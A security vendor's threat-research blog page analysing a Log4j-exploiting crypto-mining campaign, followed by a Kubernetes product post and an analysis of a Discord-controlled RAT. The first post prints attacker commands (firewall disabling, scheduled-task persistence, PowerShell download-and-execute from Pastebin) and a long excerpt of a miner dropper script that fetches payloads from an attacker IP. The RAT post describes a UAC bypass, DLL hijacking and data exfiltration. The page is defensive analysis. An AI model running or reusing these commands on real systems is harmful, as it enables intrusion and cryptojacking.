Blog
/
Network
/
April 3, 2022

Analyzing Log4j Vulnerability in Crypto Mining Attack

Discover how Darktrace detected a campaign-like pattern that used the Log4j vulnerability for crypto-mining across multiple customers.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst
Default blog image
03
Apr 2022

Background on Log4j

On December 9 2021, the Alibaba Cloud Security Team publicly disclosed a critical vulnerability (CVE-2021-44228) enabling unauthenticated remote code execution against multiple versions of Apache Log4j2 (Log4Shell). Vulnerable servers can be exploited by attackers connecting via any protocol such as HTTPS and sending a specially crafted string.

Log4j crypto-mining campaign

Darktrace detected crypto-mining on multiple customer deployments which occurred as a result of exploiting this Log4j vulnerability. In each of these incidents, exploitation occurred via outbound SSL connections which appear to be requests for base64-encoded PowerShell scripts to bypass perimeter defenses and download batch (.bat) script files, and multiple executables that install crypto-mining malware. The activity had wider campaign indicators, including common hard-coded IPs, executable files, and scripts.

The attack cycle begins with what appears to be opportunistic scanning of Internet-connected devices looking for VMWare Horizons servers vulnerable to the Log4j exploit. Once a vulnerable server is found, the attacker makes HTTP and SSL connections to the victim. Following successful exploitation, the server performs a callback on port 1389, retrieving a script named mad_micky.bat. This achieves the following:

  • Disables Windows firewall by setting all profiles to state=off
    ‘netsh advfirewall set allprofiles state off’
  • Searches for existing processes that indicate other miner installs using ‘netstat -ano | findstr TCP’ to identify any process operating on ports :3333, :4444, :5555, :7777, :9000 and stop the processes running
  • A new webclient is initiated to silently download wxm.exe
  • Scheduled tasks are used to create persistence. The command ‘schtasks /create /F /sc minute /mo 1 /tn –‘ schedules a task and suppresses warnings, the task is to be scheduled within a minute of command and given the name, ‘BrowserUpdate’, pointing to malicious domain, ‘b.oracleservice[.]top’ and hard-coded IP’s: 198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080
  • Registry keys are added in RunOnce for persistence: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run2 /d

In at least two cases, the mad_micky.bat script was retrieved in an HTTP connection which had the user agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS). This was the first and only time this user agent was seen on these networks. It appears this user agent is used legitimately by some ASUS devices with fresh factory installs; however, as a new user agent only seen during this activity it is suspicious.

Following successful exploitation, the server performs a callback on port 1389, to retrieve script files. In this example, /xms.ps1 a base-64 encoded PowerShell script that bypasses execution policy on the host to call for ‘mad_micky.bat’:

Figure 1: Additional insight on PowerShell script xms.ps1

The snapshot details the event log for an affected server and indicates successful Log4j RCE that resulted in the mad_micky.bat file download:

Figure 2: Log data highlighting mad_micky.bat file

Additional connections were initiated to retrieve executable files and scripts. The scripts contained two IP addresses located in Korea and Ukraine. A connection was made to the Ukrainian IP to download executable file xm.exe, which activates the miner. The miner, XMRig Miner (in this case) is an open source, cross-platform mining tool available for download from multiple public locations. The next observed exe download was for ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4).

Figure 3: Additional insight regarding XMRig executable

The connection to the Korean IP involved a request for another script (/2.ps1) as well as an executable file (LogBack.exe). This script deletes running tasks associated with logging, including SCM event log filter or PowerShell event log consumer. The script also requests a file from Pastebin, which is possibly a Cobalt Strike beacon configuration file. The log deletes were conducted through scheduled tasks and WMI included: Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer.

  • Config file (no longer hosted): IEX (New-Object System.Net.Webclient) DownloadString('hxxps://pastebin.com/raw/g93wWHkR')

The second file requested from Pastebin, though no longer hosted by Pastebin, is part of a schtasks command, and so probably used to establish persistence:

  • schtasks /create /sc MINUTE /mo 5 /tn  "\Microsoft\windows\.NET Framework\.NET Framework NGEN v4.0.30319 32" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''hxxps://pastebin.com/raw/bcFqDdXx'''))'"  /F /ru System

The executable file Logback.exe is another XMRig mining tool. A config.json file was also downloaded from the same Korean IP. After this cmd.exe and wmic commands were used to configure the miner.

These file downloads and miner configuration were followed by additional connections to Pastebin.

Figure 4: OSINT correlation of mad_micky.bat file[1]

Process specifics — mad_micky.bat file

Install

set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”

looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001

Preparing miner

echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0

Download of XMRIG

echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)

Unpack and install

echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%\7za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%\7za.exe’”

powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP

if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1

Detecting the campaign using Darktrace

The key model breaches Darktrace used to identify this campaign include compromise-focussed models for Application Protocol on Uncommon Port, Outgoing Connection to Rare From Server, and Beaconing to Rare Destination. File-focussed models for Masqueraded File Transfer, Multiple Executable Files and Scripts from Rare Locations, and Compressed Content from Rare External Location. Cryptocurrency mining is detected under the Cryptocurrency Mining Activity models.

The models associated with Unusual PowerShell to Rare and New User Agent highlight the anomalous connections on the infected devices following the Log4j callbacks.

Customers with Darktrace’s Autonomous Response technology, Antigena, also had actions to block the incoming files and scripts downloaded and restrict the infected devices to normal pattern of life to prevent both the initial malicious file downloads and the ongoing crypto-mining activity.

Appendix

Darktrace model detections

  • Anomalous Connection / Application Protocol on Uncommon Port
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous Connection / PowerShell to Rare External
  • Anomalous File / EXE from Rare External location
  • Anomalous File / Masqueraded File Transfer
  • Anomalous File / Multiple EXE from Rare External Locations
  • Anomalous File / Script from Rare External Location
  • Anomalous File / Zip or Gzip from Rare External Location
  • Anomalous Server Activity / Outgoing from Server
  • Compliance / Crypto Currency Mining Activity
  • Compromise / Agent Beacon (Long Period)
  • Compromise / Agent Beacon (Medium Period)
  • Compromise / Agent Beacon (Short Period)
  • Compromise / Beacon to Young Endpoint
  • Compromise / Beaconing Activity To External Rare
  • Compromise / Crypto Currency Mining Activity
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Device / New PowerShell User Agent
  • Device / Suspicious Domain

MITRE ATT&CK techniques observed

IoCs

For Darktrace customers who want to find out more about Log4j detection, refer here for an exclusive supplement to this blog.

Footnotes

1. https://www.virustotal.com/gui/file/9e3f065ac23a99a11037259a871f7166ae381a25eb3f724dcb034225a188536d

‍

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst

More in this series

No items found.

Blog

/

Network

/

October 20, 2026

Why Kubernetes Security Needs A Behavioral Approach

Man at computerDefault blog imageDefault blog image

Kubernetes has become a foundational technology for modern cloud-native infrastructure. It can orchestrate everything from customer-facing applications to data pipelines and, increasingly, AI workloads. This is due to the highly scalable nature of Kubernetes, making it cost efficient and reliable.

Gartner projects that by 2028, 95% of new AI deployments will run on Kubernetes, up from less than 30% today1. However, the same qualities that make Kubernetes powerful also make it uniquely challenging to secure, leaving many organizations with limited visibility into their clusters. This lack of visibility increases risk - it’s difficult to secure what you can’t see.

However, this risk is often looked at as purely a posture management challenge. While Cloud Security Posture Management (CSPM) solutions can tell you how a cluster should be configured, they don’t tell you what it is doing in real time. This requires runtime behavioral monitoring of clusters to detect active threats.

Yet existing approaches to securing Kubernetes by most Cloud Detection and Response (CDR) and Network Detection and Response (NDR) vendors often have limited coverage or require a third-party integration to forward traffic and metadata. This means that capabilities can be limited and detections can lack the context of the wider environment, which slows down triage, investigation and response.

Why Kubernetes is hard to secure

Traditional security tooling was built for persistent, long-term infrastructure such as servers and virtual machines with fixed identities that last months or years. Some elements of Kubernetes environments can have a much shorter lifespan, breaking many assumptions those tools rely on:

  1. Increased complexity
    1. Kubernetes environments can be complex in comparison to traditional infrastructure, with many different elements to consider such as nodes, clusters, containers, pods and the workloads themselves.
  2. Ephemeral by design
    1. Kubernetes pods can spin up and terminate in seconds. A container that was compromised may no longer exist by the time a deeper investigation is required, leaving no artifact to analyze. This poses a unique challenge for security operations.
  3. Weaker workload boundaries
    1. Kubernetes containers use lightweight, shared-kernel isolation rather than separate virtual machines, improving efficiency but reducing separation between workloads and the host. As a result, a compromised container may have a greater potential impact on the node and neighboring workloads than a compromised virtual machine (VM).2
  4. Recent vulnerabilities have shown that threat actors can escape a container and gain access to the underlying host.3, 4
    1. Everything is API-driven
  5. Dozens or hundreds of microservices communicate over internal APIs, and the Kubernetes control plane itself is an API. This creates a large and dynamic attack surface, making it difficult to distinguish legitimate activity from malicious behavior.
    1. Without identity-aware runtime visibility, threat actors can move laterally between pods and exploit misconfigured role-based access controls (RBAC) with little chance of detection.

Rising to the challenge of securing Kubernetes

With the release of Darktrace 7.2, Darktrace / HYBRID NETWORK can extend behavioral security into Kubernetes, delivering visibility, detection and response capabilities across runtime activity. Darktrace addresses the challenges of securing Kubernetes environments in several ways.

Behavioral detection, not static rules

Many Kubernetes runtime tools rely on predefined rules and signatures - a fixed list of “bad” behaviors to match against. That approach struggles with novel attacks and generates noise at scale. Darktrace takes a different approach: our Adaptive AI builds a Unique Behavioral Profile for each organization from the ground up, learning the normal behavior of every workload, node and identity in your cluster. It then uses this understanding to detect meaningful deviations from expected behavior, which serves as the basis for surfacing suspicious and malicious activity.  

A pod reaching out to an unfamiliar destination, an unexpected executable launching inside a workload, or an identity performing an action it has never performed, all surface as anomalies without anyone having to write a rule in advance.

Darktrace surfaces unexpected Kubernetes activity that does not align with an organization’s Unique Behavioral Profile

Visibility across the network, the process, and the control plane

Darktrace monitors Kubernetes at three levels that together provide comprehensive runtime visibility:

  1. Network-layer
    1. Traffic between pods, across nodes and out to the internet. This helps to detect lateral movement and unusual connectivity, whether internal or external.
  2. Process-layer
    1. What is executing inside your containers. If a process reads a sensitive credential file or spawns an unexpected shell inside a production pod, Darktrace can identify that activity and use it as context for further detections.
  3. Control plane
    1. Activity against the Kubernetes API itself: someone executes a command in a running pod, RBAC changes, or unusual administrative actions. Many high-impact security events involve the control plane, an area that is often less visible to solutions that only analyze or scan network-layer telemetry.

Misconfiguration and vulnerability awareness

Runtime detection is strongest when combined with posture and exposure management. Darktrace surfaces risky pod configurations, such as privileged containers, host networking, and over-permissive service accounts as workloads are deployed, and links CVEs from images to the workloads running them. Security teams can go beyond simply knowing that a vulnerability exists and see exactly where it is in the cluster. When combined with behavior-based detections, this provides invaluable context that can help prioritize incidents and proactively identify areas that need further attention. For example, anomalous workload behavior on its own might not be very interesting to a security team at first, but if that same workload is known to host sensitive data, is known to have critical vulnerabilities associated with it, or is publicly accessible, then this narrative becomes much more suspicious and demanding of their attention.

Darktrace highlights Kubernetes misconfigurations such as privileged containers, host networking, and missing security controls, helping teams prioritize runtime alerts with valuable exposure and risk context.

Response, tailored to Kubernetes

Detection is most effective when paired with response. Darktrace can take precise actions on Kubernetes workloads, including blocking a malicious connection at the pod level, helping to safely contain threats while security teams investigate. Response actions can be taken fully autonomously or via a human-in-the-loop process, which is completely configurable depending on the desired level of autonomy and scope. Darktrace is expanding the number of Kubernetes-native response actions to give customers even more flexibility when containing threats.

Forensics that survive the workload

Because containers are so short-lived, evidence disappears fast and this can make it very difficult to answer questions related to the initial detections. Darktrace solves this with Forensic Acquisition & Investigation capabilities that extend to Kubernetes containers, allowing investigations to be triggered manually by an analyst, or automatically from an alert, preserving evidence before the workload is gone.

For incident responders, this addresses a key challenge in container security: being able to answer “what actually happened?” after an ephemeral workload has vanished.

One platform, not another silo

Kubernetes doesn't exist in isolation, and neither should its security. Darktrace correlates cluster activity with the surrounding cloud environment, including AWS, Azure and GCP identities, network activity and cloud assets, allowing analysts to pivot between a Kubernetes workload and its wider context. A single anomalous action can be traced from the control plane to the pod, and from the pod to the cloud identity behind it, all within a single investigation workflow. This can also include alerts from other areas of hybrid infrastructure or third-party sources where relevant, adding more context to investigations and speeding up workflows for human analysts.

Built to deploy easily

Operational complexity can be a barrier to security adoption. Darktrace / HYBRID NETWORK for Kubernetes installs with a single command, and for teams that manage their infrastructure as code, it supports raw manifests so the deployment can live in a Git repository and be managed through existing GitOps workflows. The same deployment approach works across Kubernetes environments in AWS, Azure, Google Cloud, and on-premises infrastructure. Early adopters of Darktrace’s Kubernetes capabilities have highlighted the simplicity of deployment and time to value.

Darktrace can deploy across your Kubernetes environment and wider hybrid infrastructure, while also providing visibility into Kubernetes deployment structure and status.

Next steps

Kubernetes environments are dynamic, ephemeral and API-driven in ways that challenge traditional security tooling. With Kubernetes usage increasing due to widespread AI adoption, it is essential to secure Kubernetes environments as part of securing what AI can do. Darktrace / HYBRID NETWORK addresses these challenges by learning normal behavior in Kubernetes environments across network, process and control-plane layers, identifying meaningful threats and enabling targeted response. Combined with the context of wider hybrid infrastructure and forensic investigation capabilities, Darktrace provides visibility into both emerging threats and active incidents.

To see how Darktrace can help secure your Kubernetes environment and your wider hybrid infrastructure, get in touch to arrange your free trial. Existing customers can contact their Darktrace Account Team for more information about deployment options and licensing.

[related-resource]

Sources

[1] Gartner, Container Management research, 2025: "By 2028, 95% of new AI deployments will use Kubernetes, up from less than 30% today."  https://www.gartner.com/en/documents/7913109. (quote reproduced under Gartner reprint at https://www.kubermatic.com/magic-quadrant-and-critical-capabilities-for-container-management/)

[2] Palo Alto Networks (Unit 42) – Container Breakouts: Escape Techniques in Cloud Environments. https://unit42.paloaltonetworks.com/container-escape-techniques/

[3] runC container-escape vulnerabilities (CVE-2025-31133, CVE-2025-52565, CVE-2025-52881), disclosed by a SUSE researcher on November 5, 2025. https://www.securityweek.com/runc-vulnerabilities-can-be-exploited-to-escape-containers/

[4] NVIDIAScape (CVE-2025-23266), CVSS 9.0. https://www.wiz.io/blog/nvidia-ai-vulnerability-cve-2025-23266-nvidiascape

Continue reading
About the author
Elise Longhurst
Senior Product Executive

Blog

/

Network

/

October 15, 2026

CikaBika Bot: Inside a Discord RAT

Default blog imageDefault blog image

‍

Key Takeaways

·      Darktrace malware researchers have found an ongoing malware campaign using a document-themed lure containing a malicious LNK file and a PDF with an embedded payload.

·      The Nim based loader deploys a Rust-based remote access trojan (RAT), using a UAC bypass and DLL search-order hijacking technique targeting Microsoft Edge.

·      The RAT uses Discord for C2, creating dedicated channels to manage infected devices and execute commands.

·      CikaBika Bot supports system reconnaissance, remote command execution, screenshot capture, and file transfers.

‍

Introduction

In a threat landscape where attackers continue to rely on social engineering techniques to deliver malware, legitimate services are increasingly being abused to support malicious operations. Communications platforms like Discord can provide attackers with a ready-made channel for command-and-control (C2), allowing them to manage compromised devices without establishing dedicated infrastructure.

Malware researchers at Darktrace have identified a campaign distributing CikaBika, a Rust-based RAT that uses Discord for C2. The infection chain begins with a disk image and a malicious Windows shortcut. A Nim loader extracts the final payload and attempts to plant it in Microsoft Edge’s installation directory using a PowerShell UAC bypass. Once running, the RAT collects host information, registers the device with Discord, and accepts commands through a dedicated channel.

Technical Analysis

‍

Figure 1: Contents of Proposition_Projet.img.

‍

Initial access and PDF payload

The malware is packaged within a disk image named Proposition_Projet.img. Inside are a PDF titled “Presentation_Generale.pdf.pdf” and a Windows shortcut (LNK) disguised as a Word document, “Proposition_Projet_Personnalisable.docx”. The delivery method has not been confirmed; however, the filenames and document-themed lure are consistent with a phishing campaign.

‍

Figure 2: PowerShell command embedded in the malicious shortcut.


Opening the shortcut launches a hidden PowerShell process while displaying the PDF as a decoy. The French-language document explains how to produce a written summary or contraction of a text. In the background, PowerShell reads the PDF as bytes and uses the value at offset 239 (0x20) as an XOR key to decode an embedded executable. The resulting payload is written to %TEMP%\IfyuUapz.txt and executed using cmd /c.

Nim loader and UAC bypass

“IfyuUapz.txt” is a Nim-based loader that contains two Base64-encoded blobs: a Rust dynamic-link library (DLL)  and a PowerShell deployment script. Both are decoded and written to temporary files, referenced to within the loader as “dllFile” and “copyPs1”. The loader runs the script through a hidden PowerShell process using an encoded command, then attempts to load the DLL using Nim’s loadLib function. If loading fails, it invokes regsvr32.exe and retries.

Figure 3: Silent DLL deployer.

The PowerShell component is responsible for moving the DLL to C:\Program Files (x86)\Microsoft\Edge\Application\dbghelp.dll. It first copies the DLL to C:\Windows\Temp\dbghelp.tmp, then modifies HKCU\Software\Classes\ms-settings\shell\open\command so that launching computerdefaults.exe can trigger a command to move the staged DLL into the protected Edge directory. This is an attempt to bypass User Account Control (UAC), which depends on the target’s Windows configuration.

The script also compiles a small C# helper that calls ShowWindow to hide windows associated with Windows Settings and ApplicationFrameHost. It launches the bypass helper three times, checks for the presence of the destination DLL, and attempts to delete the temporary scripts, intermediate DLL, and associated registry changes.

‍

Figure 4: Legitimate msedge.exe function to load the legitimate dbghelp.dll.

‍

The legitimate msedge.exe has a delay-loaded dependency on dbghelp.dll, and the malicious DLL exports a subset of the functions associated with Microsoft’s debugging library. The attacker appears to be exploiting this dependency through DLL search-order hijacking. However, it does not export every function in Edge’s delay-import table, meaning its compatibility with the host is incomplete. The observed code establishes the intended sideloading route, rather than proving that Edge successfully loaded the planted DLL.

‍

Rust RAT payload

Figure 5: Discord configuration within the RAT.

The malicious dbghelp.dll (IfyuUapz.txt) is a Rust-based RAT. At startup, the RAT registers the compromised device with Discord and begins collecting information about the host. Its reconnaissance routine gathers system details, runs tasklist to enumerate processes, executes ipconfig to obtain network configuration, and attempts to take a screenshot. The resulting artifacts include tasklist_startup.txt, network_info.txt, and screenshot.png.

Figure 6: Network configuration notification in Discord channel.

‍

Figure 7: Network configuration output from network_info.txt.

‍

Discord C2

The RAT uses Discord channels to send commands and report results. The operator can send commands to the device’s channel and receive the resulting output in the same conversation. This gives the attacker an interactive command interface without having to operate and maintain a dedicated C2 server.

Figure 8: Commands available in Discord.

The command set includes !shell for remote command execution; !sysinfo and !info for host details; !isOn for status checks; !tasklist and !ps for process enumeration; and !kill for process termination. File-transfer commands include !upload and !download. Additional strings and command handlers reference screenshots (!src), camera access (!camera), streaming (!stream), and broadcasting (!broadcast).

‍

Figure 9: Device registration in Discord.

During device registration, the malware retrieves the victim’s public IP address using ipify.com. The registration message records the device ID, hostname, registration time, private and public IP addresses, status, uptime, and the Discord channel assigned to that device.

Operator activity and exfiltration

Figure 10: Powershell commands sent through Discord to exfiltrate data.

Once a device is registered, the attacker can issue commands through its dedicated Discord channel. In the observed activity, the attacker compressed a directory into a ZIP and exfiltrated it using ngrok.

Figure 11: Download command to retrieve a document from the target.

‍

The operator can also use !download to retrieve files from target. The example above displays a request for a specific document on the victim’s desktop. The requested file is then returned through the device’s Discord channel, giving the attacker a direct way to store and access selected data.

Conclusion

CikaBika Bot demonstrates how attackers continue to rely on social engineering techniques to deliver malware. Although the initial distribution method has not been confirmed, the use of a disk image containing a shortcut disguised as a Word document, alongside a legitimate-looking PDF, suggests the campaign was designed for phishing.

While Nim is less commonly encountered than C in Windows malware, it has increasingly appeared in malicious tooling. In this case, Nim is used to unpack and deploy a Rust-based RAT, adding another layer to the infection chain.

Once installed, CikaBika Bot uses Discord as its C2 platform, allowing the attacker to manage compromised devices, execute commands, and retrieve files without maintaining dedicated C2 infrastructure. The observed use of Discord channels for individual victims, alongside additional data exfiltration through ngrok, shows how legitimate services can be repurposed to support malicious operations.

Credit to Tara Gould (Malware Research Lead)

Indicators of Compromise (IoCs)

Presentation_Generale.pdf.pdf - eeb52cb95113a131c2c7713c17872da6

Proposition_Projet_Personnalisable.docx.lnk - 62e3e85eca78a0cd7e6669e9f33d936d

dbghelp.dll - c66858718d883bcfb9ce2c19b59f96c9

IfyuUapz.txt - 2deb724a709b0b892248405323350e9b

MITRE ATTACK

T1204.002 – User Execution: Malicious File
T1036.007 – Masquerading: Double File Extension
T1059.001 – PowerShell
T1027 – Obfuscated Files or Information
T1140 – Deobfuscate/Decode Files or Information
T1548.002 – Bypass User Account Control
T1112 – Modify Registry
T1574.001 – DLL Search Order Hijacking
T1036.005 – Masquerading: Match Legitimate Resource Name or Location
T1082 – System Information Discovery
T1016 – System Network Configuration Discovery
T1057 – Process Discovery
T1113 – Screen Capture
T1059.003 – Command and Scripting Interpreter: Windows Command Shell
T1102.002 – Web Service: Bidirectional Communication
T1560.001 – Archive Collected Data: Archive via Utility
T1567 – Exfiltration Over Web Service
T1070.004 – Indicator Removal: File Deletion
T1218.010 – Regsvr32
T1005 – Data from Local System
T1074.001 – Data Staged: Local Data Staging
T1041 – Exfiltration Over C2 Channel
T1564.003 – Hide Artifacts: Hidden Window
T1027.013 – Encrypted/Encoded File

Continue reading
About the author
Tara Gould
Malware Research Lead
Your data. Our AI.
Elevate your network security with Darktrace AI